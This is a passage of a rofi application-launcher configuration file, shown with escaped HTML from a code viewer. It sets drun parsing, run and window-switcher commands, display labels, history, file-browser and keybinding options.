&lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;41&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;drun&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;42&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;/**&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Parse&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;user&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;desktop&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;files.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt;/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;43&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;parse-user:&lt;/span&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;44&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;/**&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Parse&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;system&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;desktop&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;files.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt;/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;45&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;parse-system:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;46&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;47&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;48&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;/*----------&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Run&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;settings&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;----------&lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt;/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;49&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;run-command:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;{cmd}&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;50&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;run-list-command:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;51&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;run-shell-command:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;{terminal} -e {cmd}&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;52&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;53&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;/*----------&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Fallback&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Icon&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;----------&lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt;/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;54&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;run,drun&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;55&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;fallback-icon:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;application-x-addon&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;56&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;57&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;58&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;/*----------&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Window&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;switcher&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;settings&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;----------&lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt;/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;59&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;window-match-fields:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;title,class,role,name,desktop&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;60&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;window-command:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;wmctrl -i -R {window}&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;61&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;window-format:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;{w} - {c} - {t:0}&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;62&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;window-thumbnail:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;63&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;64&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;/*----------&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Combi&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;settings&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;----------&lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt;/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;65&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;/*&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;combi-modi:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;window,run&quot;&lt;/span&gt;&lt;span&gt;;*/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;66&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;/*&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;combi-hide-mode-prefix:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;span&gt;;*/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;67&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;/*&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;combi-display-format:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;{mode} {text}&quot;&lt;/span&gt;&lt;span&gt;;*/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;68&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;69&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;/*----------&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;History&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;and&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Sorting&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;----------&lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt;/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;70&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;disable-history:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;71&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;sorting-method:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;normal&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;72&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;max-history-size:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;25&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;73&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;74&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;/*----------&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Display&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;setting&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;----------&lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt;/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;75&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;display-window:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Windows&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;76&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;display-windowcd:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Window CD&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;77&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;display-run:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Run&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;78&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;display-ssh:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;SSH&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;79&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;display-drun:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Apps&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;80&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;display-combi:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Combi&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;81&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;display-keys:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Keys&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;82&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;display-filebrowser:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Files&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;83&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;84&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;/*----------&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Misc&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;setting&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;----------&lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt;/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;85&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;terminal:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;rofi-sensible-terminal&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;86&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;font:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Mono 12&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;87&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;sort:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;88&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;threads:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;89&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;click-to-exit:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;90&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;/*&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;ignored-prefixes:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;&quot;&lt;/span&gt;&lt;span&gt;;*/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;91&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;/*&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;pid:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;/run/user/1000/rofi.pid&quot;&lt;/span&gt;&lt;span&gt;;*/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;92&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;93&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;/*----------&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;File&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;browser&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;settings&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;----------&lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt;/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;94&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;filebrowser&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;95&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;/*&lt;/span&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;directory:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;/home&quot;&lt;/span&gt;&lt;span&gt;;*/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;96&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;      &lt;/span&gt;&lt;span&gt;directories-first:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;97&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;      &lt;/span&gt;&lt;span&gt;sorting-method:&lt;/span&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;name&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;98&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;99&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;100&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;/*----------&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Other&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;settings&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;----------&lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt;/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;101&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;timeout&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;102&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;      &lt;/span&gt;&lt;span&gt;action:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;kb-cancel&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;103&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;      &lt;/span&gt;&lt;span&gt;delay:&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;104&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;105&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;106&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;/*----------&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Keybindings&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;----------&lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt;/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;107&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;/*&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;108&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;kb-primary-paste:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Control+V,Shift+Insert&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;109&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;kb-secondary-paste:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Control+v,Insert&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;110&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;kb-clear-line:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Control+w&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;111&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;kb-move-front:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Control+a&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;112&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;kb-move-end:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Control+e&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;113&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;kb-move-word-back:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Alt+b,Control+Left&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;114&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;kb-move-word-forward:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Alt+f,Control+Right&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;115&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;kb-move-char-back:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Left,Control+b&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;116&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;kb-move-char-forward:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Right,Control+f&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;117&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;kb-remove-word-back:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Control+Alt+h,Control+BackSpace&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;118&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;kb-remove-word-forward:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Control+Alt+d&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;119&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;kb-remove-char-forward:&lt;/span&gt;&lt;span&gt; 